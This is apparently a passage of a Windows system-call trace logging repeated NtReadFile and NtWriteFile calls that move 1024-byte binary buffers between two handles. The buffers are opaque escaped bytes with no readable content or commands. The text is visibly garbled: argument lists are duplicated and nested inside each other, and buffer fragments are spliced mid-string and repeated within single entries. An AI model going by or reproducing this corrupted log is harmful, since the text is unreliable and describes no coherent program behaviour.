{,'\254\11h\26455\177\2757J\2762Fk\37\22z\31\277c!,\21\361\255q\2\203ly\252+`K\16~xQ\17\360T4\3276l\306/\27\375\14\)\233z\224Z;f\311|c\245\253v\345\344i\252\13.e\321\370\20>s\223vq\'ik\332+\303\265p;\220K\30\227\243v$\222\26\36,i/#)\363~=l\216\10\355-\26[X\3443aP\321\271c\36}"\217@\275\32\13\23\310\10\305+\4&6\3775\153y\264k4\3579C;\354\324\303*\3639V+>|?\3577X\36\242\367"\201*\3572\313\6%\301,\237\371%t\377&\254\201&\342=\253\2265}\3503\321\225\21JU\30-\33]\244\362(e(x\347\4g-9\13 \234$\304\14\3010\352\204?q$\24x\231P\302\370\235\304\375J,\330\276\337\36|*3\13\363\347\313\350\312.l&\326\244\3622\3113D\337;7H\326H\10\15Z\35\3\376#\273\344\307a!\255[*\35", ) 4\340-\344/\255\277!.,\2756'\260\2116ce\335*\16I\250#*\15=&7 \335\31j\16 Z.u\257\27\257'\30\252\352/\27\354[\332$o\361\343?a\362<\351M,8\3743\3764j\235y\34\37#Q\0\247@\305{\242\6\301*/\256^\256!\230\264<3\3644\210t8<1;>?3\357\32\34\36\376\32-\21')\2442\2227\13- {,'\254\11h\26455\177\2757J\2762Fk\37\22z\31\277c!,\21\361\255q\2\203ly\252+`K\16~xQ\17\360T4\3276l\306/\27\375\14\)\233z\224Z;f\311|c\245\253v\345\344i\252\13.e\321\370\20>s\223vq\'ik\332+\303\265p;\220K\30\227\243v$\222\26\36,i/#)\363~=l\216\10\355-\26[X\3443aP\321\271c\36} (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\255 \205&\276$\4\252\322a1\346\11\344\233\337^\253\30\256P\371E\34s%\6\227V^*$l\37.=,\363,\350=\15\32\40\3\77#\333g\13'+,\254\302\377210e\277-\202\23\340I:\233:k\326M\36\237*\366\233rI"4\340-\344/\255\277!.,\2756'\260\2116ce\335*\16I\250#*\15=&7 \335\31j\16 Z.u\257\27\257'\30\252\352/\27\354[\332$o\361\343?a\362<\351M,8\3743\3764j\235y\34\37#Q\0\247@\305{\242\6\301*/\256^\256!\230\264<3\3644\210t8<1;>?3\357\32\34\36\376\32-\21')\2442\2227\13- {,'\254\11h\26455\177\2757J\2762Fk\37\22z\31\277c!,\21\361\255q\2\203ly\252+`K\16~xQ\17\360T4\3276l\306/\27\375\14\)\233z\224Z;f\311|c\245\253v\345\344i\252\13.e\321\370\20>s\223vq\'ik\332+\303\265p;\220K\30\227\243v$\222\26\36,i/#)\363~=l\216\10\355-\26[X\3443aP\321\271c\36}"\217@\275\32\13\23\310\10\305+\4&6\3775\153y\264k4\3579C;\354\324\303*\3639V+>|?\3577X\36\242\367"\201*\3572\313\6%\301,\237\371%t\377&\254\201&\342=\253\2265}\3503\321\225\21JU\30-\33]\244\362(e(x\347\4g-9\13 \234$\304\14\3010\352\204?q$\24x\231P\302\370\235\304\375J,\330\276\337\36|*3\13\363\347\313\350\312.l&\326\244\3622\3113D\337;7H\326H\10\15Z\35\3\376#\273\344\307a!\255[*\35", ) \201*\3572\313\6%\301,\237\371%t\377&\254\201&\342=\253\2265}\3503\321\225\21JU\30-\33]\244\362(e(x\347\4g-9\13 \234$\304\14\3010\352\204?q$\24x\231P\302\370\235\304\375J,\330\276\337\36|*3\13\363\347\313\350\312.l&\326\244\3622\3113D\337;7H\326177\24\262>H\10\15Z\35\3\376#\273\344\307a!\255[*\35", ) == 0x0
 01377  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\217\11\365\361\342\223\255\220\274+\243\374\202\257\374\260ca\274\354GkrX\351\246\205F\366\247\352\260\214.\310\33\254w\261j\370\343/\374\12\20\242\252\264\247\260\345@\315R}\301\24\320\354\214\27\251\369\217!=\202?\255\25f\330\255\325\31\324\23u\376)\332\32\266\346\362=6\311\37Oa\267rd\346\332\243\20\24\326\307O\214\2514d\3520\316\352'\13\35h.:&\310\241\2U\341\233\245\277X/\247\334;\371\312\247\231\231\321G\37\330~o\350\37U!\312X\323\364\366.\20\333\25\201\200c\351\1n\225\267f\304\32\345\261xY\207\243\224\361\12\263i\205j\20\305=\4\3\14d^?l\203\217\177\274\335%\230C\5r@\225\30\330\218`\37\352\261\241\375\254\354\277Xo"\263\344\7\300\2113\326\240\14S-B4\11e\15Ut\370\323V#!<\305\205R\240\244qR\220%\234k\236,\332\3230){n\306FE%\7G\236\36\334\3118[0;<\335QMR\373xx\332TP\24\11{f\311\362R\177\252\226\26\344\241\303\234\350\242\341\341Cw[\34\363M\336\265\377\321\217\303N\336\221\311\356\375\353\330\217\204B\266\372q\374\352\26ge\216\14T\243\345\372\313/3\253\351\37ra\26>`\376\200\257\311a\14[\251\356\305X\240YI\374\236\223\17a(C\344\266V\310\251\27DY\30\203\234\302\332F$\3rY\15XX\253?\242@C1\250\377\307u\327\10<4\373\0%d[\314\343\35X\30\313\273\232=\13\246\275#\214\L\321\255\377\353\333\256I+82\233|\256Y\3327\240N\304!\315wu2NW\270\361\10\177C\241;\10\260\264\3\20)\372\331\357\36LX\373\233(,\327\374n\320\256\205\306*\240_\333\217\313"W\240\1\17Ey", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \263\344\7\300\2113\326\240\14S-B4\11e\15Ut\370\323V#!<\305\205R\240\244qR\220%\234k\236,\332\3230){n\306FE%\7G\236\36\334\3118[0;<\335QMR\373xx\332TP\24\11{f\311\362R\177\252\226\26\344\241\303\234\350\242\341\341Cw[\34\363M\336\265\377\321\217\303N\336\221\311\356\375\353\330\217\204B\266\372q\374\352\26ge\216\14T\243\345\372\313/3\253\351\37ra\26>`\376\200\257\311a\14[\251\356\305X\240YI\374\236\223\17a(C\344\266V\310\251\27DY\30\203\234\302\332F$\3rY\15XX\253?\242@C1\250\377\307u\327\10<4\373\0%d[\314\343\35X\30\313\273\232=\13\246\275#\214\L\321\255\377\353\333\256I+82\233|\256Y\3327\240N\304!\315wu2NW\270\361\10\177C\241;\10\260\264\3\20)\372\331\357\36LX\373\233(,\327\374n\320\256\205\306*\240_\333\217\313 (92, 0, 0, 0, "\217\11\365\361\342\223\255\220\274+\243\374\202\257\374\260ca\274\354GkrX\351\246\205F\366\247\352\260\214.\310\33\254w\261j\370\343/\374\12\20\242\252\264\247\260\345@\315R}\301\24\320\354\214\27\251\369\217!=\202?\255\25f\330\255\325\31\324\23u\376)\332\32\266\346\362=6\311\37Oa\267rd\346\332\243\20\24\326\307O\214\2514d\3520\316\352'\13\35h.:&\310\241\2U\341\233\245\277X/\247\334;\371\312\247\231\231\321G\37\330~o\350\37U!\312X\323\364\366.\20\333\25\201\200c\351\1n\225\267f\304\32\345\261xY\207\243\224\361\12\263i\205j\20\305=\4\3\14d^?l\203\217\177\274\335%\230C\5r@\225\30\330\218`\37\352\261\241\375\254\354\277Xo"\263\344\7\300\2113\326\240\14S-B4\11e\15Ut\370\323V#!<\305\205R\240\244qR\220%\234k\236,\332\3230){n\306FE%\7G\236\36\334\3118[0;<\335QMR\373xx\332TP\24\11{f\311\362R\177\252\226\26\344\241\303\234\350\242\341\341Cw[\34\363M\336\265\377\321\217\303N\336\221\311\356\375\353\330\217\204B\266\372q\374\352\26ge\216\14T\243\345\372\313/3\253\351\37ra\26>`\376\200\257\311a\14[\251\356\305X\240YI\374\236\223\17a(C\344\266V\310\251\27DY\30\203\234\302\332F$\3rY\15XX\253?\242@C1\250\377\307u\327\10<4\373\0%d[\314\343\35X\30\313\273\232=\13\246\275#\214\L\321\255\377\353\333\256I+82\233|\256Y\3327\240N\304!\315wu2NW\270\361\10\177C\241;\10\260\264\3\20)\372\331\357\36LX\373\233(,\327\374n\320\256\205\306*\240_\333\217\313"W\240\1\17Ey", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01378  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "G4#G7h\7\33nH=\22K\33+i\36]T!ovP%~S(J^+BY.VeE2\267@5\271C8\243N;\231\250J?\253l\35/k\25\351\311\207=\21~\211\311*|\256\354z['9\265*\270\4\365V*\263q>\373\271\364K)\363\226}6\277\63\362\343\22\315XG)v\31\353)m*g\325n\15q;577\317\320\373\301.\266\374\376\233\364\2\35\317\255%\224\241z\203\32.)Rb\24,\265\366\254\36492\260\317\312\277k\34-O{y\260pE\363;\34\235\211\261!\241s\256\243&\243@\261+\250H\177~+\263\221\71n7\265fh\200\321\221\336=-\275\33\213N\36\3405\251\376\363QUHW\233l_\213M=\245\255Wq\7gF^a\X<\12oYOS;\13,^\177o\244HqS! USA)\273+,/}|taaa\256c&nH\11[;\2638m\277z,qVHd\345\257o\01bOc\253\321l x\11>o:=r\270z=\79yd\323\270\13\254\276G\237x\31|\36\221MI\32,c.K\27\234E\11wM\21XtrP\12\344\23TuZ\4\2\316]\1tlw ~{\344#@\32v\343&K\27o\353-\225\312g6P\14\316\361J\10(8&:r\271\234\366R\33\36\236\330\35\244", ) c\253\321l x\11>o:=r\270z=\79yd\323\270\13\254\276G\237x\31|\36\221MI\32,c.K\27\234E\11wM\21XtrP\12\344\23TuZ\4\2\316]\1tlw ~{\344#@\32v\343&K\27o\353-\225\312g6P\14\316\361J\10(8&:r\271\234\366R\33\36\236\330\35\244", ) == 0x0
 01379  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\205Eq\363\367\332c\222^\303,\272\344\345\305<1\220\344M\235\235\314mN\4A+\340\330Ce?\1H\275WD.\215\5+\263\217\2324\4\332\353HQ\272\24\347\347\273\6\236\313D\257\316>\215\365r%\241IU\33t\305\277\22\35]\364u\357yd\357\241Cjx\24\2\271\344>\324\210=\303\332\0+\266\320w\215\352\10\253[\356\316e\31\343\264\273\220D\237dg\365b\335\202#B\236\300\311\235\335\215\\364\270R\346>\364\345G\3729\11peH\253f\12\276W\315[\212s\266\26=\12\353\2173:\35\344\3034\15\230\352\204\351\5\373\177\246\341o\27\251^\223I\241\305\225b\342\310\346\1s\227\301\352W\277\343},\250{8\260\7|\335i\371\370\257\241\206\225]t\227\256\204\272\110|\317\36^l\25\212\217_\320gfI\30)K\270\207\313\274,\332\N\203\21\356\260pj;\264\265!\35C\177z\371k\311\260\310\2217\276yi\2402\341$\265\303`\377\251\6\314\177d/\22\247\253D\273\243>\24J("H\3s{I\276\13\314{\224+\275\377\204\241\365\204;|\214IX\344\334\316\303\261\265\347\251\235/\0 \315\365\210"\327\304W\377\261\321\333{\201o|\226O"$Y\362\5\216l\371n\216S<\222L\3g\17\340o\206(\3377\234\341\311\2740B\247e\4\2017\263+\251\207\34\27\367\2469\206\216^\31t\224\372\270^\330\20?Eh\221F\227.i<\260`8\300\220\21xLx=8\37!\270\22B\204\320\23\212\25x\345\260T)1\335j#\330)\241\224\316\17D\255\246'R\331\4a\227\10H\241\16.\365\312\226\3107o\237\327\332\321\270\310Y\207\231Eg\345\343\216\316\251\354;\345[F\336\361\7\373\372\317\366\333Y\27RJ\362", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) H\3s{I\276\13\314{\224+\275\377\204\241\365\204;|\214IX\344\334\316\303\261\265\347\251\235/\0 \315\365\210 (92, 0, 0, 0, "\205Eq\363\367\332c\222^\303,\272\344\345\305<1\220\344M\235\235\314mN\4A+\340\330Ce?\1H\275WD.\215\5+\263\217\2324\4\332\353HQ\272\24\347\347\273\6\236\313D\257\316>\215\365r%\241IU\33t\305\277\22\35]\364u\357yd\357\241Cjx\24\2\271\344>\324\210=\303\332\0+\266\320w\215\352\10\253[\356\316e\31\343\264\273\220D\237dg\365b\335\202#B\236\300\311\235\335\215\\364\270R\346>\364\345G\3729\11peH\253f\12\276W\315[\212s\266\26=\12\353\2173:\35\344\3034\15\230\352\204\351\5\373\177\246\341o\27\251^\223I\241\305\225b\342\310\346\1s\227\301\352W\277\343},\250{8\260\7|\335i\371\370\257\241\206\225]t\227\256\204\272\110|\317\36^l\25\212\217_\320gfI\30)K\270\207\313\274,\332\N\203\21\356\260pj;\264\265!\35C\177z\371k\311\260\310\2217\276yi\2402\341$\265\303`\377\251\6\314\177d/\22\247\253D\273\243>\24J("H\3s{I\276\13\314{\224+\275\377\204\241\365\204;|\214IX\344\334\316\303\261\265\347\251\235/\0 \315\365\210"\327\304W\377\261\321\333{\201o|\226O"$Y\362\5\216l\371n\216S<\222L\3g\17\340o\206(\3377\234\341\311\2740B\247e\4\2017\263+\251\207\34\27\367\2469\206\216^\31t\224\372\270^\330\20?Eh\221F\227.i<\260`8\300\220\21xLx=8\37!\270\22B\204\320\23\212\25x\345\260T)1\335j#\330)\241\224\316\17D\255\246'R\331\4a\227\10H\241\16.\365\312\226\3107o\237\327\332\321\270\310Y\207\231Eg\345\343\216\316\251\354;\345[F\336\361\7\373\372\317\366\333Y\27RJ\362", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) $Y\362\5\216l\371n\216S<\222L\3g\17\340o\206(\3377\234\341\311\2740B\247e\4\2017\263+\251\207\34\27\367\2469\206\216^\31t\224\372\270^\330\20?Eh\221F\227.i<\260`8\300\220\21xLx=8\37!\270\22B\204\320\23\212\25x\345\260T)1\335j#\330)\241\224\316\17D\255\246'R\331\4a\227\10H\241\16.\365\312\226\3107o\237\327\332\321\270\310Y\207\231Eg\345\343\216\316\251\354;\345[F\336\361\7\373\372\317\366\333Y\27RJ\362", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01380  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "Ma\311&\256\254\274sO\275\241$W\225E8/h\321$XD%..\233@\35\32N\310(\11\221\230\250\327\2502\251(z9VD\12>v\273Q:P\22\204!)\322`\250=v{\363M\214\36w`\204-\21\75-x2(\302\245L/\255\353f\21S7f/jt?5*\33H\225=\327U\317\35"I1\34""\367z7v9\246\211\13'\344\226/1\233\22\303xs\6j9i\73\374=\216\262\2378\21~\37\242?*\303m6\226'\2507\316\361\354$\242\13$\242\3423\365Tr\23H~\322\17\354:\2\276\337>\37\341\356/!\336\264$$\274\276)\261\240\33?]R=\340\262%\262\326e\3117;\34\12;nm?%\217\235\374\216\37p\221#>u\345'\251\10\356+\250-\3345sXe!`\2417\23d\370?R\332n\2\307\16:\2361\16!3v\312\273\262\11/c@m\301%\201\352/\31\200\22t0/V?#\271;8\214n>J7q\34\34\341\2675\361\370s+\223\304S@\370\6\241\217\215(\177!\24b\333\342E4\267\273\3752k\261\263\23\316\17\34\332\232;\344 "%\314K\216\366(\21\302?6\372\334+ \3022\12\334??\30586)\310<\7\326\305\315Y\357\20\12\323!\31\313\316\327&\270\12>\331+\20\305\364\3370\272~\263\20=\361188\332[\3=\370y\37\34\34\225\331~\320\20j\247\341.S\12\242\243\3174)~oXOT7\264dV((\310Z$\303(n_\5\35\27]\277\242\5\321\1 \204\57(i9.(\307\350.5\271\302\324\223\273y<\321\2z34" (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "Ma\311&\256\254\274sO\275\241$W\225E8/h\321$XD%..\233@\35\32N\310(\11\221\230\250\327\2502\251(z9VD\12>v\273Q:P\22\204!)\322`\250=v{\363M\214\36w`\204-\21\75-x2(\302\245L/\255\353f\21S7f/jt?5*\33H\225=\327U\317\35"I1\34""\367z7v9\246\211\13'\344\226/1\233\22\303xs\6j9i\73\374=\216\262\2378\21~\37\242?*\303m6\226'\2507\316\361\354$\242\13$\242\3423\365Tr\23H~\322\17\354:\2\276\337>\37\341\356/!\336\264$$\274\276)\261\240\33?]R=\340\262%\262\326e\3117;\34\12;nm?%\217\235\374\216\37p\221#>u\345'\251\10\356+\250-\3345sXe!`\2417\23d\370?R\332n\2\307\16:\2361\16!3v\312\273\262\11/c@m\301%\201\352/\31\200\22t0/V?#\271;8\214n>J7q\34\34\341\2675\361\370s+\223\304S@\370\6\241\217\215(\177!\24b\333\342E4\267\273\3752k\261\263\23\316\17\34\332\232;\344 "%\314K\216\366(\21\302?6\372\334+ \3022\12\334??\30586)\310<\7\326\305\315Y\357\20\12\323!\31\313\316\327&\270\12>\331+\20\305\364\3370\272~\263\20=\361188\332[\3=\370y\37\34\34\225\331~\320\20j\247\341.S\12\242\243\3174)~oXOT7\264dV((\310Z$\303(n_\5\35\27]\277\242\5\321\1 \204\57(i9.(\307\350.5\271\302\324\223\273y<\321\2z216\366(\21\302?6\372\334+ \3022\12\334??\30586)\310<\7\326\305\315Y\357\20\12\323!\31\313\316\327&\270\12>\331+\20\305\364\3370\272~\263\20=\361188\332[\3=\370y\37\34\34\225\331~\320\20j\247\341.S\12\242\243\3174)~oXOT7\264dV((\310Z$\303(n_\5\35\27]\277\242\5\321\1 \204\57(i9.(\307\350.5\271\302\324\223\273y<\321\2z3719\333\374^~\23\346'|tQS+\)\34\246\17\10m,/\50c3\1:\210o\254\35", ) == 0x0
 01381  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\25\300\310\25\304\303T\330\206\216 \16*\216\265\272\273\241\3552\275B\253\23G\12kf\212\337ap0\242\271\23\17?Ol\367\232\213y\230\311j\261\201\3119 n\234\240d\0 \17\221B\3643\277\20\207C\250\373\21B\25\246v\363Z1X1U%\315\223\216\226V]\14\330j\34\25U\300\212o\36\34&\235UB\265\0\336l<1\36\25\327\345k\334\377\264I'\354W([\324\3171\361\236\2405i\335\336\311\253\330\6\201\255\264\224\2+\37\221E\3132. \305.v1q\274\350\313\256\262&ooY\350(qx\11\246\266\201#\345\20?\234K\33D@\30547\244\216*,|@+\366N\275B\306\274\21\345eW\337\215\215\364c]\212-\274\5\337%\231\26\3570\314\253=\350\250\25k\314\337\251\342\316&&\263\2H\264D]\334\3113!\10\24\231Z\37\230LJ\36\17.-Q\273c|n\213T\273\370\256\303x\21\3379\311\325\7\177\2755-\331-E\200\335\224\300uXO\237cfr\261\2746\254\216b\324H\363\16wI[\300\330\322b\305\275\352\207W\362i\356\202"\177h\254\346x \345\375\205\272\257\12\4+t\235\316\3Ye\214\366\22\306\1\265\27\304\324\355\376\276\11\340S\345v\354c\21:\350|K\242jl\224\267\16!\22\243\372,\300\376dJ\235\32Mo\341\313\231\307\257\32Z\357!\302\213\20\235\13\202\234\332SH\17254\346x \345\375\205\272\257\12\4+t\235\316\3Ye\214\366\22\306\1\265\27\304\324\355\376\276\11\340S\345v\354c\21:\350|K\242jl\224\267\16!\22\243\372,\300\376dJ\235\32Mo\341\313\231\307\257\32Z\357!\302\213\20\235\13\202\234\332SH\17275:\345\254\212y\276I\234\340\274\310\14H/\2743\274\3000b\342\31,\375T\20\366\341\2509;{\271\214Wlt\34\27\1\2615HC\303\264302\2\271\210\322\350\3H<\227r\2\203\340\300!(\316\4{ J\26\304\335l\365\37y$\11\254,|\236\205\211\274S\30\34A28\241\304\306\354\233\357", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01382  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\363 ^\37W\27 -\313\14`\25&\370^';\3049\35.(PE1%\33566x\37\271o\370\35?|\334\31\202\214\37t\221""\317'\24\347\243e\16+prprkU\273>452\264\374a\370?<5?\257\327\240\35\225[\4%"u\257\324L')\243"*,/\246!\273\377\332vQ5\3118\240=!W\37\2773y\34\7\365k_'q\257\347j0\242L4\301^kP\255?MXv\266(\334\375\266\16\370=\322\230\274+\372;\1\364\251\335\33\270\341+.!J\207\247,m0\257\10)/\12\267\#\262\24\345#\320\245H)\266\7\16'[x\205\35\17I\243&\222Gt\340\243\14\231:-4,\306\17\20:\362\25\260\3659\277\274\3745\33N\251\32\253K\36\274\276\33\20s\312\306T)N\5\251\242\213Z\14.\212\1733\332\246\13\233\11\337\7\312\5;=\255\21\247\27\271\25\363d=\10\364)tckH$K?\3111)\363:\37\34+P\14J\217\347\23\35\235\241\377%\303\312\354\7\320%5Q\276\265\325>yQL!\323\203\234\31\36d\236\366\0\367\204%%;\314\23\274\25*\366\11\355\374(\306o\261\365\35q0\320\262*\21\330\30Q]:TM\227\343\342\274\6nG\251>\304\245+\247~~%\225P\11>/\247\0\262)d\312\345\27\36\331\23=c8~\224\23\34\13P\26wp\335+\367\256XgN!\220*,\7\2165\211\33\314\26762\331\35\327\23\376\10\323\27\376\10\3646t\3745\347\217\316\11\223#'\304\2\216\361\335,\316", )  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\363 ^\37W\27 -\313\14`\25&\370^';\3049\35.(PE1%\33566x\37\271o\370\35?|\334\31\202\214\37t\221""\317'\24\347\243e\16+prprkU\273>452\264\374a\370?<5?\257\327\240\35\225[\4%"u\257\324L')\243"*,/\246!\273\377\332vQ5\3118\240=!W\37\2773y\34\7\365k_'q\257\347j0\242L4\301^kP\255?MXv\266(\334\375\266\16\370=\322\230\274+\372;\1\364\251\335\33\270\341+.!J\207\247,m0\257\10)/\12\267\#\262\24\345#\320\245H)\266\7\16'[x\205\35\17I\243&\222Gt\340\243\14\231:-4,\306\17\20:\362\25\260\3659\277\274\3745\33N\251\32\253K\36\274\276\33\20s\312\306T)N\5\251\242\213Z\14.\212\1733\332\246\13\233\11\337\7\312\5;=\255\21\247\27\271\25\363d=\10\364)tckH$K?\3111)\363:\37\34+P\14J\217\347\23\35\235\241\377%\303\312\354\7\320%5Q\276\265\325>yQL!\323\203\234\31\36d\236\366\0\367\204%%;\314\23\274\25*\366\11\355\374(\306o\261\365\35q0\320\262*\21\330\30Q]:TM\227\343\342\274\6nG\251>\304\245+\247~~%\225P\11>/\247\0\262)d\312\345\27\36\331\23=c8~\224\23\34\13P\26wp\335+\367\256XgN!\220*,\7\2165\211\33\314\26762\331\35\327\23\376\10\323\27\376\10\3646t\3745\347\217\316\11\223#'\304\2\216\361\335,\316", ) u\257\324L')\243 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\363 ^\37W\27 -\313\14`\25&\370^';\3049\35.(PE1%\33566x\37\271o\370\35?|\334\31\202\214\37t\221""\317'\24\347\243e\16+prprkU\273>452\264\374a\370?<5?\257\327\240\35\225[\4%"u\257\324L')\243"*,/\246!\273\377\332vQ5\3118\240=!W\37\2773y\34\7\365k_'q\257\347j0\242L4\301^kP\255?MXv\266(\334\375\266\16\370=\322\230\274+\372;\1\364\251\335\33\270\341+.!J\207\247,m0\257\10)/\12\267\#\262\24\345#\320\245H)\266\7\16'[x\205\35\17I\243&\222Gt\340\243\14\231:-4,\306\17\20:\362\25\260\3659\277\274\3745\33N\251\32\253K\36\274\276\33\20s\312\306T)N\5\251\242\213Z\14.\212\1733\332\246\13\233\11\337\7\312\5;=\255\21\247\27\271\25\363d=\10\364)tckH$K?\3111)\363:\37\34+P\14J\217\347\23\35\235\241\377%\303\312\354\7\320%5Q\276\265\325>yQL!\323\203\234\31\36d\236\366\0\367\204%%;\314\23\274\25*\366\11\355\374(\306o\261\365\35q0\320\262*\21\330\30Q]:TM\227\343\342\274\6nG\251>\304\245+\247~~%\225P\11>/\247\0\262)d\312\345\27\36\331\23=c8~\224\23\34\13P\26wp\335+\367\256XgN!\220*,\7\2165\211\33\314\26762\331\35\327\23\376\10\323\27\376\10\3646t\3745\347\217\316\11\223#'\304\2\216\361\335,\316", ) , ) == 0x0
 01383  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "R B\15\333\245\307b\164w\254;VLmd\232*\306*F\25{\371;l3"=\21\352\272\255\301\341\274\316\376\7\204\342\317\20\301?\222\310q\227vd\332\304h\21T\206\3\5\322\23#b\221]\364\0\17\273 \350\362Z\275dQ\313C[\344\14\373\265\3\207"\252\365\331\302\300\27y\246!\267j\245J\354\330\177d"\322\320\212`\7\36NwCn\331&\313y2\357\222\1\277\265s\330\4_c\360k\353\265\307\365\3550>\213\360\241K\336B_26\271I\371\20\2374#\211\2\276v\333\11\366\216q\5D*\214\231\256!\6t\0`\355)b\377T<\206\332{\177\366\31\305z\3H>\345\373]j\26!\354u\14\231\230\213\0\343IT\22\2\270E\334\200\354\22\25\321\347\0w\254\17\264\3549\323\333\201`[\5\351\206\323b\240\352\213"\370i\7\202\303\371\324F\371p\371\250\22-\277vn\177OV\26\241\256[Qh\227\363\227\277\376\216\364\202O\206\5\262y\366\310\370\270\363\15\24d\226\273:\223\273\324C0\2019)\15\216\30\203%W\32\211)\356\23\35\206\226\206 \245\324\323\246\225(G|\303aE\177(\345\340R\247g\253-\260\30x\337)\353g\376\256\341\245_d\375\33\351\255\275\341\325\322eM\340\334\327y`\202\377~\322\313N\261r\363V\336\355%{9\2\326i\334a\374x\353\262\275O\342Ax\253\1\231\364=u\313\344\330a\341\317\352O\266+\10\31\340\325'V0"\330\364[lE\254\317FY\312\12\362\347\31,\361\33\271\301\227\321\216\203\13\263\214,P\271y\306m@\252\252-\337\375\322", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) =\21\352\272\255\301\341\274\316\376\7\204\342\317\20\301?\222\310q\227vd\332\304h\21T\206\3\5\322\23#b\221]\364\0\17\273 \350\362Z\275dQ\313C[\344\14\373\265\3\207 (92, 0, 0, 0, "R B\15\333\245\307b\164w\254;VLmd\232*\306*F\25{\371;l3"=\21\352\272\255\301\341\274\316\376\7\204\342\317\20\301?\222\310q\227vd\332\304h\21T\206\3\5\322\23#b\221]\364\0\17\273 \350\362Z\275dQ\313C[\344\14\373\265\3\207"\252\365\331\302\300\27y\246!\267j\245J\354\330\177d"\322\320\212`\7\36NwCn\331&\313y2\357\222\1\277\265s\330\4_c\360k\353\265\307\365\3550>\213\360\241K\336B_26\271I\371\20\2374#\211\2\276v\333\11\366\216q\5D*\214\231\256!\6t\0`\355)b\377T<\206\332{\177\366\31\305z\3H>\345\373]j\26!\354u\14\231\230\213\0\343IT\22\2\270E\334\200\354\22\25\321\347\0w\254\17\264\3549\323\333\201`[\5\351\206\323b\240\352\213"\370i\7\202\303\371\324F\371p\371\250\22-\277vn\177OV\26\241\256[Qh\227\363\227\277\376\216\364\202O\206\5\262y\366\310\370\270\363\15\24d\226\273:\223\273\324C0\2019)\15\216\30\203%W\32\211)\356\23\35\206\226\206 \245\324\323\246\225(G|\303aE\177(\345\340R\247g\253-\260\30x\337)\353g\376\256\341\245_d\375\33\351\255\275\341\325\322eM\340\334\327y`\202\377~\322\313N\261r\363V\336\355%{9\2\326i\334a\374x\353\262\275O\342Ax\253\1\231\364=u\313\344\330a\341\317\352O\266+\10\31\340\325'V0"\330\364[lE\254\317FY\312\12\362\347\31,\361\33\271\301\227\321\216\203\13\263\214,P\271y\306m@\252\252-\337\375\322", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \322\320\212`\7\36NwCn\331&\313y2\357\222\1\277\265s\330\4_c\360k\353\265\307\365\3550>\213\360\241K\336B_26\271I\371\20\2374#\211\2\276v\333\11\366\216q\5D*\214\231\256!\6t\0`\355)b\377T<\206\332{\177\366\31\305z\3H>\345\373]j\26!\354u\14\231\230\213\0\343IT\22\2\270E\334\200\354\22\25\321\347\0w\254\17\264\3549\323\333\201`[\5\351\206\323b\240\352\213 (92, 0, 0, 0, "R B\15\333\245\307b\164w\254;VLmd\232*\306*F\25{\371;l3"=\21\352\272\255\301\341\274\316\376\7\204\342\317\20\301?\222\310q\227vd\332\304h\21T\206\3\5\322\23#b\221]\364\0\17\273 \350\362Z\275dQ\313C[\344\14\373\265\3\207"\252\365\331\302\300\27y\246!\267j\245J\354\330\177d"\322\320\212`\7\36NwCn\331&\313y2\357\222\1\277\265s\330\4_c\360k\353\265\307\365\3550>\213\360\241K\336B_26\271I\371\20\2374#\211\2\276v\333\11\366\216q\5D*\214\231\256!\6t\0`\355)b\377T<\206\332{\177\366\31\305z\3H>\345\373]j\26!\354u\14\231\230\213\0\343IT\22\2\270E\334\200\354\22\25\321\347\0w\254\17\264\3549\323\333\201`[\5\351\206\323b\240\352\213"\370i\7\202\303\371\324F\371p\371\250\22-\277vn\177OV\26\241\256[Qh\227\363\227\277\376\216\364\202O\206\5\262y\366\310\370\270\363\15\24d\226\273:\223\273\324C0\2019)\15\216\30\203%W\32\211)\356\23\35\206\226\206 \245\324\323\246\225(G|\303aE\177(\345\340R\247g\253-\260\30x\337)\353g\376\256\341\245_d\375\33\351\255\275\341\325\322eM\340\334\327y`\202\377~\322\313N\261r\363V\336\355%{9\2\326i\334a\374x\353\262\275O\342Ax\253\1\231\364=u\313\344\330a\341\317\352O\266+\10\31\340\325'V0"\330\364[lE\254\317FY\312\12\362\347\31,\361\33\271\301\227\321\216\203\13\263\214,P\271y\306m@\252\252-\337\375\322", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \330\364[lE\254\317FY\312\12\362\347\31,\361\33\271\301\227\321\216\203\13\263\214,P\271y\306m@\252\252-\337\375\322", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
